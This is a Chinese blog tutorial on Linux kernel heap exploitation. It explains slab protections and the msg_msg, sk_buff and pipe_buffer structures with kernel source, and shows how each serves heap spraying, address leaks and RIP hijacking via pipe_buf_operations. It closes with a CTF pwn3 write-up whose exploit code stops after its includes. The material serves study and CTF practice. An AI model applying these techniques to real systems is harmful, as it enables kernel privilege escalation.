kernel从小白到大神(四)
默文 发表于 浙江 技术文章 359浏览 · 2024-11-21 14:50

kernel从小白到大神(四)

前言:上一章主要是堆方面的攻击和结构体利用,以后会开始接触大量的源码解析,附件下载:https://pan.quark.cn/s/d8b8c9dc92fa

堆保护

Hardened freelistCONFIG_SLAB_FREELIST_HARDENED=y

类似于 glibc 2.32 版本引入的保护tcache的fdxor操作,在开启这种保护之前,slub 中的 free objectnext 指针直接存放着 next free object 的地址,可以通过读取 freelist 泄露出内核线性映射区的地址。

在开启了该保护之后 free objectnext 指针存放的是由以下三个值进行异或操作后的值:

  • 当前 free object 的地址。
  • 下一个 free object 的地址。
  • 由 kmem_cache 指定的一个 random 值。

Random freelistCONFIG_SLAB_FREELIST_RANDOM=y

启用后,内核在内存分配中会随机化 SLAB 空闲列表,以防止一些利用空闲链表的攻击,比如特定条件下的内存信息泄露。

Hardened UsercopyCONFIG_HARDENED_USERCOPY=y

内核对用户空间内存复制的安全检查机制,防止用户态和内核态之间的非法内存拷贝操作。对缓冲区大小和范围进行严格检查。

主要检查拷贝过程中对内核空间中数据的读写是否会越界:

  • 读取的数据长度是否超出源 object 范围。
  • 写入的数据长度是否超出目的 object 范围。

这一保护被用于 copy_to_user()copy_from_user() 等数据交换 API 中,

不会用于内核空间内的数据拷贝,通过内核空间数据拷贝做跳板就可以绕过。

CONFIG_STATIC_USERMODEHELPER=y
启用该选项后,内核会使用一个静态的用户空间辅助程序路径,所有用户空间请求都将被定向到这个固定的路径。

CONFIG_STATIC_USERMODEHELPER_PATH=""
该选项用于指定静态用户空间辅助程序的路径。若设置为空字符串 "",则表示未定义静态路径。当 CONFIG_STATIC_USERMODEHELPER 设置为 y 时,这个路径必须指定,否则该功能不会正常工作。

msg_msg(GFP_KERNEL_ACCOUNT)

linux中有System V消息队列来供进程间通信(IPC)机制,允许不同进程之间以消息方式进行交换数据。

  • msgget:创建一个消息队列(msq_queue
  • msgsnd:将消息发送到消息队列
  • msgrcv:从消息队列中接受消息
  • msgctl:控制消息队列的操作

消息队列操作

msgget创建一个消息队列的时候,在内核空间中会创建一个msq_queue结构体,表示消息队列:

/* one msq_queue structure for each present queue on the system */
struct msg_queue {
    struct kern_ipc_perm       q_perm __attribute__((__aligned__(64))); /*     0   128 */

    /* XXX last struct has 44 bytes of padding */

    /* --- cacheline 2 boundary (128 bytes) --- */
    time64_t                   q_stime;              /*   128     8 */
    time64_t                   q_rtime;              /*   136     8 */
    time64_t                   q_ctime;              /*   144     8 */
    long unsigned int          q_cbytes;             /*   152     8 */
    long unsigned int          q_qnum;               /*   160     8 */
    long unsigned int          q_qbytes;             /*   168     8 */
    struct pid *               q_lspid;              /*   176     8 */
    struct pid *               q_lrpid;              /*   184     8 */
    /* --- cacheline 3 boundary (192 bytes) --- */
    struct list_head           q_messages;           /*   192    16 */
    struct list_head           q_receivers;          /*   208    16 */
    struct list_head           q_senders;            /*   224    16 */

    /* size: 256, cachelines: 4, members: 12 */
    /* padding: 16 */
    /* paddings: 1, sum paddings: 44 */
    /* forced alignments: 1 */
} __attribute__((__aligned__(64)));

使用msgget得到队列的id就可以进行发送信息,调用msgsnd在指定队列发送信息时,内核中会创建如下结构体:

struct msg_msg {
    struct list_head           m_list;  //msg_msg串联的双向链表             /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;   //msg信息的单链表              /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

msg_msg或者msgseg作为消息的承载体大小是可以通过信息大小来控制的msg_msg结构体大小为0x30,剩余部分用来存储数据,最大申请一个页大小来存储消息,如果还有更多消息会使用struct msg_msgseg来存储信息。

图片来自:【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog

struct list_head {
    struct list_head *         next;                 /*     0     8 */
    struct list_head *         prev;                 /*     8     8 */
    /* size: 16, cachelines: 1, members: 2 */
};

struct msg_msgseg {
    struct msg_msgseg *        next;                 /*     0     8 */
};
msgsnd系统调用(GFP_KERNEL_ACCOUNT)

首先会调用do_msgsnd

long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
         int msgflg)
    /*
    msqid 为消息队列的标识符使用msgget获取
    msgp 为用户空间缓冲区 使用结构体定义发送
    msgsz 为发送大小
    msgflag 控制消息发送的标志,0为阻塞,IPC_NOWAIT 为不阻塞发送
    */
{
    long mtype;

    if (get_user(mtype, &msgp->mtype))//get_user内核宏,从用户空间读取数据
        return -EFAULT;
    return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}

msgp发送为结构体形式,mtype为消息类型,mtext为信息的内容可扩展。然后会调用do_msgsnd

/* message buffer for msgsnd and msgrcv calls */
struct msgbuf {
    __kernel_long_t            mtype;                /*     0     8 */
    char                       mtext[1];             /*     8     1 */

    /* size: 16, cachelines: 1, members: 2 */
    /* padding: 7 */
    /* last cacheline: 16 bytes */
};

do_msgsnd中首先通过load_msg把用户空间的message拷贝到内核空间,然后将消息发送到队列上

static long do_msgsnd(int msqid, long mtype, void __user *mtext,
        size_t msgsz, int msgflg)
{
    struct msg_msg *msg;
    //...
    msg = load_msg(mtext, msgsz);//从用户空间加载信息
    if (IS_ERR(msg))
        return PTR_ERR(msg);
    //...
        if (!pipelined_send(msq, msg, &wake_q)) {
        /* no one is waiting for this message, enqueue it */
        list_add_tail(&msg->m_list, &msq->q_messages);
        msq->q_cbytes += msgsz;
        msq->q_qnum++;
        atomic_add(msgsz, &ns->msg_bytes);
        atomic_inc(&ns->msg_hdrs);
    }
    //...

load_msg会调用alloc_msg来为信息开辟内核空间

struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;

    msg = alloc_msg(len);//申请空间
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);

    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen))
        goto out_err;

    for (seg = msg->next; seg != NULL; seg = seg->next) {//循环拷贝
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen))
            goto out_err;
    }
    //...
}

alloc_msg中会使用GFP_KERNEL_ACCOUNT标识符来申请内核空间,可以从alen中看出申请的空间是动态调整大小的。

申请空间就是两部分:

  • 0<大小<=0x1000-sizeof(*msg)的时候,会申请0x30来存储msgmsg的结构体信息,然后剩下的部分来存储信息数据
  • 反之,会额外申请msg_msgseg结构体来存储多的数据,然后以单链表信息挂载在struct msg_msg上,前0x8字节会存储指针,然后其他区域全部可被信息数据使用。
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    alen = min(len, DATALEN_MSG);//min宏
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);//这里申请msg_msg主体结构体
    if (msg == NULL)
        return NULL;

    msg->next = NULL;
    msg->security = NULL;

    len -= alen;
    pseg = &msg->next;
    while (len > 0) {//循环申请空间
        struct msg_msgseg *seg;

        cond_resched();

        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);//申请msgseg的大小
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }
//...
}
msgrcv 系统调用

先通过convert_mode()来区分寻找信息的模式,再find_msg()来寻找对应信息,然后根msgflg来抉择接受方式,主要两种接受的方式:

MSG_COPY(复制模式、不释放堆块):当在复制模式的时候,接受信息不是比对msgtyp,而是以msgtyp做为信息的序号来接受,然后调用copy_msg()进行复制。

正常接受模式:寻找到msg之后,使用list_del()msg_queue 的双向链表上脱链(unlink),然后信息复制完调用 free_msg() 释放 msg_msg 单链表上的所有消息。

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
           long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
    int mode;
    struct msg_queue *msq;
    struct ipc_namespace *ns;
    struct msg_msg *msg, *copy = NULL;
    DEFINE_WAKE_Q(wake_q);

    if (msgflg & MSG_COPY) {
        if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
            return -EINVAL;
        copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
        if (IS_ERR(copy))
            return PTR_ERR(copy);
    }
    mode = convert_mode(&msgtyp, msgflg);

    //...
    for (;;) {
        struct msg_receiver msr_d;
        //...
        msg = find_msg(msq, &msgtyp, mode);//寻找消息
        if (!IS_ERR(msg)) {//找到消息,如果标志位为MSG_COPY,则进行复制操作
            if (msgflg & MSG_COPY) {
                msg = copy_msg(msg, copy);
                goto out_unlock0;
            }
            //...
            list_del(&msg->m_list);//非MSG_COPY,进行脱链释放操作
            msq->q_qnum--;
            msq->q_rtime = ktime_get_real_seconds();
            ipc_update_pid(&msq->q_lrpid, task_tgid(current));
            msq->q_cbytes -= msg->m_ts;
            atomic_sub(msg->m_ts, &ns->msg_bytes);
            atomic_dec(&ns->msg_hdrs);
            ss_wakeup(msq, &wake_q, false);

            goto out_unlock0;
        //...
        }
//...
    bufsz = msg_handler(buf, msg, bufsz);
    free_msg(msg);

    return bufsz;
}

convert_mode函数,当标识符为MSG_COPY直接返回SEARCH_NUMBER(寻找数字),就是前面说的做为信息序号

static inline int convert_mode(long *msgtyp, int msgflg)
{
    if (msgflg & MSG_COPY)
        return SEARCH_NUMBER;
    /*
     *  find message of correct type.
     *  msgtyp = 0 => get first.
     *  msgtyp > 0 => get first message of matching type.
     *  msgtyp < 0 => get message with least type must be < abs(msgtype).
     */
    if (*msgtyp == 0)
        return SEARCH_ANY;
    //...
    return SEARCH_EQUAL
}

find_msg函数,遍历消息列表,前面convert模式和这样对应,当MSG_COPY的时候使用count来计数,当相同的时候返回,就是第几个消息了。然后0的时候为SEARCH_ANY,找信息直接返回。

static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
    struct msg_msg *msg, *found = NULL;
    long count = 0;

    list_for_each_entry(msg, &msq->q_messages, m_list) {
        if (testmsg(msg, *msgtyp, mode) &&
            !security_msg_queue_msgrcv(&msq->q_perm, msg, current,
                           *msgtyp, mode)) {
            if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
                *msgtyp = msg->m_type - 1;
                found = msg;
            } else if (mode == SEARCH_NUMBER) {
                if (*msgtyp == count)
                    return msg;
            } else
                return msg;
            count++;
        }
    }

    return found ?: ERR_PTR(-EAGAIN);
}

复制模式下使用copy_msg(),先会有个size检查,如果拷贝源长度大于目的长度,就会失败,然后就是常规的拷贝,并没有释放信息空间的操作。

struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
    struct msg_msgseg *dst_pseg, *src_pseg;
    size_t len = src->m_ts;
    size_t alen;

    if (src->m_ts > dst->m_ts)//size检查
        return ERR_PTR(-EINVAL);

    alen = min(len, DATALEN_MSG);
    memcpy(dst + 1, src + 1, alen);

    for (dst_pseg = dst->next, src_pseg = src->next;
         src_pseg != NULL;
         dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {//msgseg循环拷贝

        len -= alen;
        alen = min(len, DATALEN_SEG);
        memcpy(dst_pseg + 1, src_pseg + 1, alen);
    }

    dst->m_type = src->m_type;
    dst->m_ts = src->m_ts;

    return dst;
}

当不是MSG_COPY的时候,使用msg_handler()实际会调用do_msg_fill()函数来处理非复制模式下的信息传递。

do_msg_fill()首先会写入type字段然后长度选择之后使用store_msg()来传递消息

static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
    struct msgbuf __user *msgp = dest;
    size_t msgsz;

    if (put_user(msg->m_type, &msgp->mtype))
        return -EFAULT;

    msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
    if (store_msg(msgp->mtext, msg, msgsz))
        return -EFAULT;
    return msgsz;
}

store_msg()函数,正常的拷贝,前面提及在非MSG_COPY下是会释放信息堆块的。所以在使用msg_handler()后会有free_msg()的操作释放。

int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
    size_t alen;
    struct msg_msgseg *seg;

    alen = min(len, DATALEN_MSG);
    if (copy_to_user(dest, msg + 1, alen))
        return -1;

    for (seg = msg->next; seg != NULL; seg = seg->next) {//msgseg消息喘息
        len -= alen;
        dest = (char __user *)dest + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_to_user(dest, seg + 1, alen))
            return -1;
    }
    return 0;
}

sk_buff(size>=512)

linux kernel中用于网络数据包管理核心的数据结构。用于存储数据包的原始数据(TCP/UDP/IP)。包含数据包的相关控制信息和元数据,结构体本身只含有包的属性,不包含数据本身,数据包元数据用一个单独的object来存储。

sk_buff结构体很多很复杂,现只看重点部分

struct sk_buff {
    union {
        struct {
            /* These two members must be first. */
            struct sk_buff      *next;
            struct sk_buff      *prev;
            //...
    };

    //...

    /* These elements must be at the end, see alloc_skb() for details.  */
    sk_buff_data_t      tail;
    sk_buff_data_t      end;
    unsigned char       *head,*data;
    unsigned int        truesize;
    refcount_t      users;

#ifdef CONFIG_SKB_EXTENSIONS
    /* only useable after checking ->active_extensions != 0 */
    struct skb_ext      *extensions;
#endif
};
  • next,prev用于链接多个sk_buff实例。
  • head,指向sk_buff数据缓冲区的起始位置,是元数据object块的实际起始位置。
  • end,指向元数据object块的末尾。
  • data,指向有效数据的起始位置,指针会随着数据的接收和处理进行移动。
  • tail,指向数据的末尾,标记有效数据的结束位置。

sk_buff_head作为哨兵节点将多个sk_buff使用双链表链接,sk_buff本身包含包的各种数据,并外置挂载元数据的object

分配(数据包:GFP_NOMEMALLOC | GFP_NOWARN)

sk_buff是内核网络协议栈中常用的结构体,比如读写socket等都会造成包的创建,最终会调用__alloc_skb()来分配结构体,sk_buff结构体会从独立skbuff_fclone_cache或者skbuff_head_cache申请。但是申请的元数据object不会。

struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
                int flags, int node)/*请求分配的大小size,分配内存标志gfp*/
{
    struct kmem_cache *cache;
    struct skb_shared_info *shinfo;
    struct sk_buff *skb;
    u8 *data;
    bool pfmemalloc;

    cache = (flags & SKB_ALLOC_FCLONE)
        ? skbuff_fclone_cache : skbuff_head_cache;//缓存选择,是否克隆

    if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
        gfp_mask |= __GFP_MEMALLOC;

    /* Get the HEAD */
    skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);//分配sk_buff头部,gfp去DMA
    if (!skb)
        goto out;
    prefetchw(skb);//预先载入

    /* We do our best to align skb_shared_info on a separate cache
     * line. It usually works because kmalloc(X > SMP_CACHE_BYTES) gives
     * aligned memory blocks, unless SLUB/SLAB debug is enabled.
     * Both skb->head and skb_shared_info are cache line aligned.
     */
    size = SKB_DATA_ALIGN(size);
    size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));//对齐skb_shared_info
    data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);//pfmemalloc用于记录分配状态
    if (!data)
        goto nodata;
    /* kmalloc(size) might give us more room than requested.
     * Put skb_shared_info exactly at the end of allocated zone,
     * to allow max possible filling before reallocation.
     */
    size = SKB_WITH_OVERHEAD(ksize(data));
    prefetchw(data + size);

    /*
     * Only clear those fields we need to clear, not those that we will
     * actually initialise below. Hence, don't put any more fields after
     * the tail pointer in struct sk_buff!
     */
    memset(skb, 0, offsetof(struct sk_buff, tail));
    /* Account for allocated memory : skb + skb->head */
    skb->truesize = SKB_TRUESIZE(size);//实际大小
    skb->pfmemalloc = pfmemalloc;//内存分配标志
    refcount_set(&skb->users, 1);//引用计数
    skb->head = data;
    skb->data = data;
    skb_reset_tail_pointer(skb);//设置数据尾指针
    skb->end = skb->tail + size;
    skb->mac_header = (typeof(skb->mac_header))~0U;
    skb->transport_header = (typeof(skb->transport_header))~0U;

    /* make sure we initialize shinfo sequentially */
    shinfo = skb_shinfo(skb);
    memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));
    atomic_set(&shinfo->dataref, 1);

    //如果是克隆,设置克隆信息
    if (flags & SKB_ALLOC_FCLONE) {
        struct sk_buff_fclones *fclones;

        fclones = container_of(skb, struct sk_buff_fclones, skb1);

        skb->fclone = SKB_FCLONE_ORIG;
        refcount_set(&fclones->fclone_ref, 1);

        fclones->skb2.fclone = SKB_FCLONE_CLONE;
    }

    skb_set_kcov_handle(skb, kcov_common_handle());

out:
    return skb;
nodata:
    kmem_cache_free(cache, skb);
    skb = NULL;
    goto out;
}
EXPORT_SYMBOL(__alloc_skb);

数据包申请使用kmalloc_reserve(),最后会常规kmalloc申请空间,因此可以利用sk_buff的数据包完成堆喷的工作,但是在源码中还出现了skb_shared_info结构体。

kmalloc_reserve()
    kmalloc_node_track_caller()
        __do_kmalloc_node()

数据包在申请的时候会带一个skb_shared_info结构体。

struct skb_shared_info {
        __u8                       __unused;             /*     0     1 */
        __u8                       meta_len;             /*     1     1 */
        __u8                       nr_frags;             /*     2     1 */
        __u8                       tx_flags;             /*     3     1 */
        short unsigned int         gso_size;             /*     4     2 */
        short unsigned int         gso_segs;             /*     6     2 */
        struct sk_buff *           frag_list;            /*     8     8 */
        struct skb_shared_hwtstamps hwtstamps;           /*    16     8 */
        unsigned int               gso_type;             /*    24     4 */
        u32                        tskey;                /*    28     4 */
        atomic_t                   dataref;              /*    32     4 */

        /* XXX 4 bytes hole, try to pack */

        void *                     destructor_arg;       /*    40     8 */
        skb_frag_t                 frags[17];            /*    48   272 */

        /* size: 320, cachelines: 5, members: 13 */
        /* sum members: 316, holes: 1, sum holes: 4 */
};

所以真实的数据包基本为这样子,skb_shared_info结构体为320字节,那我们能利用的object最小的就是512字节的object

释放

在大多数通信协议中,收发的时候,发动作都会创建空间来存储数据,读取的时候空间被释放。比如在socket中写入数据创建了一个包之后,在读取的时候这个数据包就会被释放。

sk_buff的释放调用kfree_skb(),数据空间最终会调用skb_free_head()

__kfree_skb()
    skb_release_all()
        skb_release_data()
            skb_free_head()

skb_free_head()

static void skb_free_head(struct sk_buff *skb)
{
    unsigned char *head = skb->head;

    if (skb->head_frag)//判断分片
        skb_free_frag(head);
    else
        kfree(head);
}

sk_buff释放通过kfree_skbmem(),直接释放进独立的kmem_cache中。

pipe_buffer(kmalloc-1k|GFP_KERNEL_ACCOUNT)

不同进程间的内存空间是相互隔离的,比如进程A 不能访问进程B 的内存空间,所以要有桥梁可使进程间能够通信,完成一些非常规操作。内核中有很多进程间相互通信的方式,这里主要讲解管道(pipe)的原理与利用。

先了解如何利用管道是通信的,管道一般用于父子进程通信,一般为父进程使用pipe创建管道,然后fork子进程,子进程会继承父进程的文件句柄,就可以进行利用之前打开管道的进行通信。

int fd[2];
pipe(fd) //创建管道

管道分为读写端,fd[0]为读端,fd[1]为写端。

#include<stdio.h>

int main(void){
    const char msg[]="hello pipe";
    int fd[2];
    if(pipe(fd)<0){
        puts("failed create pipe");
        return -1;
    }

    if(!fork()){
        /*child process */

        if(write(fd[1],msg,sizeof(msg)-1)<0){
            puts("failed write");
            return -1;
        }
    }else{
        /*father process*/
        char buf[512]={0};
        if(read(fd[0],buf,sizeof(buf))<0){
            puts("failed read");
            return -1;
        }
        printf("data:%s\n",buf);
    }

    close(fd[0]);
    close(fd[1]);

    return 0;
}

pipe_inode_info管道本体(kmalloc-192|GFP_KERNEL_ACCOUNT)

linux内核中,管道本体使用pipe_inode_info进行管理,在linux内核中用于管理管道的状态和操作

struct pipe_inode_info {
        struct mutex               mutex;                /*     0    32 */
        wait_queue_head_t          rd_wait;              /*    32    24 */
        wait_queue_head_t          wr_wait;              /*    56    24 */
        /* --- cacheline 1 boundary (64 bytes) was 16 bytes ago --- */
        unsigned int               head;                 /*    80     4 */
        unsigned int               tail;                 /*    84     4 */
        unsigned int               max_usage;            /*    88     4 */
        unsigned int               ring_size;            /*    92     4 */
        bool                       note_loss;            /*    96     1 */

        unsigned int               nr_accounted;         /*   100     4 */
        unsigned int               readers;              /*   104     4 */
        unsigned int               writers;              /*   108     4 */
        unsigned int               files;                /*   112     4 */
        unsigned int               r_counter;            /*   116     4 */
        unsigned int               w_counter;            /*   120     4 */

        /* --- cacheline 2 boundary (128 bytes) --- */
        struct page *              tmp_page;             /*   128     8 */
        struct fasync_struct *     fasync_readers;       /*   136     8 */
        struct fasync_struct *     fasync_writers;       /*   144     8 */
        struct pipe_buffer *       bufs;                 /*   152     8 */
        struct user_struct *       user;                 /*   160     8 */
        struct watch_queue *       watch_queue;          /*   168     8 */

        /* size: 176, cachelines: 3, members: 20 */
        /* sum members: 169, holes: 2, sum holes: 7 */
        /* last cacheline: 48 bytes */
};
  • rd_wait\wr_wait:管理等待读取\写入操作的进程队列
  • head:管道缓冲区的头部位置
  • tail:管道缓冲区的尾部位置
  • bufs:环形缓冲区,存储实际的数据缓冲区,利用这个指针可以泄露出来pipe_buffer的堆地址

环形缓冲区,管道使用环形缓冲区来存储数据(把一个缓冲区当成首尾相连的环,通过读指针和写指针来记录读写数据的位置)。

在 Linux 内核中,使用了 16 个内存页作为环形缓冲区,所以这个环形缓冲区的大小为 64KB(16 * 4KB)。

数据泄露

pipe_inode_info->bufs为申请kmalloc-1kobject,可以泄露堆上的地址。

pipe_buffer管道数据(kmalloc-1k|GFP_KERNEL_ACCOUNT)

创建管道后,会用struct pipe_buffer分配空间,申请的object大小为kmalloc-1k

struct pipe_buffer {
        struct page *              page;                 /*     0     8 */
        unsigned int               offset;               /*     8     4 */
        unsigned int               len;                  /*    12     4 */
        const struct pipe_buf_operations  * ops;         /*    16     8 */
        unsigned int               flags;                /*    24     4 */

        long unsigned int          private;              /*    32     8 */

        /* size: 40, cachelines: 1, members: 6 */
        /* sum members: 36, holes: 1, sum holes: 4 */
        /* last cacheline: 40 bytes */
};
分配

使用pipe或者pippe2就可以创建管道,pipe2创建需要传入flags

两者创建管道都会使用do_pipe2(),然后调用__do_pipe_flags

static int do_pipe2(int __user *fildes, int flags)//用户空间指针,创建管道标志
{
    struct file *files[2];//读写端文件指针
    int fd[2];//文件描述符
    int error;

    error = __do_pipe_flags(fd, files, flags);
    if (!error) {
        //管道创建成功,向用户空间复制文件描述符
        if (unlikely(copy_to_user(fildes, fd, sizeof(fd)))) {
            //拷贝发生错误
            fput(files[0]);//减少文件结构引用计数
            fput(files[1]);
            put_unused_fd(fd[0]);//释放文件描述符
            put_unused_fd(fd[1]);
            error = -EFAULT;
        } else {
            //拷贝成功
            fd_install(fd[0], files[0]);//安装文件描述符
            fd_install(fd[1], files[1]);
        }
    }
    return error;
}

__do_pipe_flags()首先会对flags检查,然后调用create_pipe_files()创建管道

static int __do_pipe_flags(int *fd, struct file **files, int flags)
{
    int error;
    int fdw, fdr;
    /*O_CLOEXEC:执行新程序时关闭fd,O_NONBLOCK:非阻塞模式 O_DIRECT:直接I/O标志*/
    if (flags & ~(O_CLOEXEC | O_NONBLOCK | O_DIRECT | O_NOTIFICATION_PIPE))//flags检查
        return -EINVAL;

    error = create_pipe_files(files, flags);//创建管道
    if (error)
        return error;

    error = get_unused_fd_flags(flags);//获取未使用的文件描述符
    if (error < 0)
        goto err_read_pipe;
    fdr = error;

    error = get_unused_fd_flags(flags);
    if (error < 0)
        goto err_fdr;
    fdw = error;

    audit_fd_pair(fdr, fdw);//审计文件描述符对
    fd[0] = fdr;//文件描述符赋值
    fd[1] = fdw;
    return 0;

 err_fdr:
    put_unused_fd(fdr);
 err_read_pipe:
    fput(files[0]);
    fput(files[1]);
    return error;
}

create_pipe_files()先会调用get_pipe_inode()创建管道本体,然后对读写端文件申请并赋值管道数据

int create_pipe_files(struct file **res, int flags)
{
    struct inode *inode = get_pipe_inode();//获取管道本体
    struct file *f;
    int error;

    if (!inode)
        return -ENFILE;

    if (flags & O_NOTIFICATION_PIPE) {//初始化观察队列
        error = watch_queue_init(inode->i_pipe);
        if (error) {
            free_pipe_info(inode->i_pipe);
            iput(inode);
            return error;
        }
    }

    /*分配写端文件结构 初始化ops */
    f = alloc_file_pseudo(inode, pipe_mnt, "",
                O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT)),
                &pipefifo_fops);
    if (IS_ERR(f)) {
        free_pipe_info(inode->i_pipe);
        iput(inode);
        return PTR_ERR(f);
    }
    //写端私有数据指针设置为管道i_pipe,后续可操作管道
    f->private_data = inode->i_pipe;
    /*克隆读端文件结构  O_RDONLY只读*/
    res[0] = alloc_file_clone(f, O_RDONLY | (flags & O_NONBLOCK),
                  &pipefifo_fops);
    if (IS_ERR(res[0])) {
        put_pipe_info(inode, inode->i_pipe);
        fput(f);
        return PTR_ERR(res[0]);
    }
    res[0]->private_data = inode->i_pipe;
    res[1] = f;
    stream_open(inode, res[0]);//打开读端流
    stream_open(inode, res[1]);
    return 0;
}

get_pipe_inode()会先创建新的伪inode,然后通过alloc_pipe_info()创建管道,之后初始化管道

static struct inode * get_pipe_inode(void)
{
    struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);//创建伪inode
    struct pipe_inode_info *pipe;

    if (!inode)
        goto fail_inode;

    inode->i_ino = get_next_ino();//创建唯一的inode号

    pipe = alloc_pipe_info();//创建管道
    if (!pipe)
        goto fail_iput;

    /*初始化 pipe_inode_info */
    inode->i_pipe = pipe;
    pipe->files = 2;//管道文件描述符为2(读\写段)
    pipe->readers = pipe->writers = 1; //初始读写者的数量为1
    inode->i_fop = &pipefifo_fops;      

    inode->i_state = I_DIRTY;//标记state为脏,就不会移动到脏列表中
    inode->i_mode = S_IFIFO | S_IRUSR | S_IWUSR;//mode设置为 管道 读 写
    inode->i_uid = current_fsuid();
    inode->i_gid = current_fsgid();
    inode->i_atime = inode->i_mtime = inode->i_ctime = current_time(inode);

//...
}

具体调用链

do_pipe2()
    __do_pipe_flags()
        create_pipe_files()
            get_pipe_inode()
                alloc_pipe_info()

直到在alloc_pipe_info()函数中才真正的分配空间,这里pipe_bufs默认为16,会创建64*16==1024,刚好会从kmalloc-1kobject

struct pipe_inode_info *alloc_pipe_info(void)
{
    struct pipe_inode_info *pipe;
    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;//默认缓冲区数量
    struct user_struct *user = get_current_user();
    unsigned long user_bufs;
    unsigned int max_size = READ_ONCE(pipe_max_size);//最大管道大小

    pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);//分配pipe_inode_info,初始化为0
    if (pipe == NULL)
        goto out_free_uid;
    //如果缓冲区数量大小超过最大限制
    if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
        pipe_bufs = max_size >> PAGE_SHIFT;
    //用户管道缓冲区使用情况
    user_bufs = account_pipe_buffers(user, 0, pipe_bufs);
    //用户是否超过软限制,如果非特权用户,缓冲区数量调整为1
    if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
        user_bufs = account_pipe_buffers(user, pipe_bufs, 1);
        pipe_bufs = 1;
    }
    //超过硬限制
    if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
        goto out_revert_acct;
    //创建缓冲区数组,大小为[(pipe_bufs数量)*(sizeof(struct pipe_buffer))]
    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);

//...
    return NULL;
}
释放

close关闭读写端的时候,管道就会被释放,释放使用pipe_realease函数,最终调用到free_pipe_info(),释放管道本体和管道数。

void free_pipe_info(struct pipe_inode_info *pipe)
{
    int i;

#ifdef CONFIG_WATCH_QUEUE
    if (pipe->watch_queue) {
        watch_queue_clear(pipe->watch_queue);
        put_watch_queue(pipe->watch_queue);
    }
#endif

    (void) account_pipe_buffers(pipe->user, pipe->nr_accounted, 0);
    free_uid(pipe->user);
    for (i = 0; i < pipe->ring_size; i++) {
        struct pipe_buffer *buf = pipe->bufs + i;
        if (buf->ops)
            pipe_buf_release(pipe, buf);
    }
    if (pipe->tmp_page)
        __free_page(pipe->tmp_page);
    kfree(pipe->bufs);
    kfree(pipe);
}
数据泄露

pipe_buffer->pipe_buf_operations指向一张全局函数表,可以泄露出来内核.text地址。

劫持rip
struct pipe_buf_operations {
        int  (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); /*     0     8 */
        void (*release)(struct pipe_inode_info *, struct pipe_buffer *); /*     8     8 */
        bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); /*    16     8 */
        bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); /*    24     8 */
        /* size: 32, cachelines: 1, members: 4 */
        /* last cacheline: 32 bytes */
};

当控制pipe_buffer的时候,pipe_buf_operations就能篡改,函数调用的指针由我们控制,当使用close关闭管道的时候,从之前的free_pipe_info()函数处看出只要ops不为空,会调用pipe_buf_release来释放

if (buf->ops)
    pipe_buf_release(pipe, buf);

最终会调用release指针函数来释放,并且劫持之后rdi为管道本体,rsi为当前pipe_buffer地址,只需要将rsi的值给rsp就可以完成栈迁移。

2024网鼎杯pwn3

有uaf漏洞,并且任意申请大小chunk

read、write都有,直接就能泄露地址,tty被禁用了,使用pipe来劫持

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

pipe_buffer有ops全局函数表,可以泄露出来.text地址

利用uaf在上面喷上pipe_buffer,之后利用read就能读出.text地址

原本堆没啥东西,然后释放在堆喷pipe_buffer

然后这个uaf堆还可控,利用read泄露地址,write篡改ops然后布局rop就行

#define _GNU_SOURCE 
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
